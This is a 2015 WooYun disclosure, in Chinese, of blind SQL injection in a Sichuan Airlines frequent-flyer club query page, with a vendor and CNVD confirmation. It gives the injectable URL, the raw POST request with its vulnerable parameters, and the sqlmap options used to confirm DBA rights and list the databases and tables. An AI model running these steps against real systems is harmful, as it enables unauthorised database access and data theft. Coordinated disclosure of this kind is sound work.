当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-098382

漏洞标题:四川航空某俱乐部某页面多个参数存在SQL注入(DBA权限)

相关厂商:四川航空

漏洞作者: Ch4r0n

提交时间:2015-02-26 10:55

修复时间:2015-04-13 16:58

公开时间:2015-04-13 16:58

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-02-26: 细节已通知厂商并且等待厂商处理中
2015-03-02: 厂商已经确认,细节仅向厂商公开
2015-03-12: 细节向核心白帽子及相关领域专家公开
2015-03-22: 细节向普通白帽子公开
2015-04-01: 细节向实习白帽子公开
2015-04-13: 细节向公众公开

简要描述:

不知道找什么网站测试,就看已公开漏洞,然后跟着各位大牛学习,自己装逼也假装测试一下,今天看了玉林噶一个多月前测试的四川航空金
熊猫俱乐部,http://www.wooyun.org/bugs/wooyun-2015-091192,进去页面,来到里程积累-航空兑奖标准查询,猜想应该可以抓包,
POST注入,于是就有了下面的测试。
PS:这个算大厂商还是小厂商呢?
再PS:谁知道漏洞审核后如何知道走了大厂商流程还是小厂商流程,不懂怎么区分

详细说明:

1、注入点

http://ffp.scal.com.cn/FFPNewWeb/Mileage/FlightRedeemRuleQuery


注入页面.jpg


抓包得到
========================

POST http://ffp.scal.com.cn/FFPNewWeb/Mileage/QueryFlightRedeemRule HTTP/1.1
Accept: */*
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://ffp.scal.com.cn/FFPNewWeb/Mileage/FlightRedeemRuleQuery
Accept-Language: zh-CN
Accept-Encoding: gzip, deflate
Connection: Keep-Alive
User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident/6.0; QQBrowser/8.0.3197.400)
Content-Length: 51
Host: ffp.scal.com.cn
Pragma: no-cache
Cookie: ASP.NET_SessionId=jbbe4i1tbsgdsov4uk4x21qk
AirlineCode=3U&OrgCity=CTU&DesCity=CAN&Page_Index=1


==========================
三个参数都存在boolean-based blind注入,其中AirlineCode还有AND/OR time-based blind注入
2、直接sqlmap测试,因为从大牛测试得知是Oracle数据库,直接加上--dbms “Oracle”加快测试

sqlmap.jpg


--current-db --current-user

--current-db --current-user.jpg


--is-dba

--is-dba.jpg


--dbs

--dbs.jpg


--tables -D SCAR

--tables -D SCAR.jpg


3、Oracle数据库多,表也多,就SCAR就379个表了,里面的数据应该有上万的数据,合起来估计不小了,就不继续测试了!~~~

漏洞证明:

见以上说明

修复方案:

过滤修复
安全狗
我不是专业的,你们懂得比我多

版权声明:转载请注明来源 Ch4r0n@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:13

确认时间:2015-03-02 16:00

厂商回复:

CNVD确认并复现所述情况,已经转由CNCERT向民航局测评中心通报,由其后续协调网站管理单位处置。

最新状态:

暂无


漏洞评价:

评论

  1. 2015-02-26 11:01 | Ch4r0n ( 普通白帽子 | Rank:391 漏洞数:87 | 苦逼青年一个!~~~)

    真是效率,刚提交就被审核了!~~~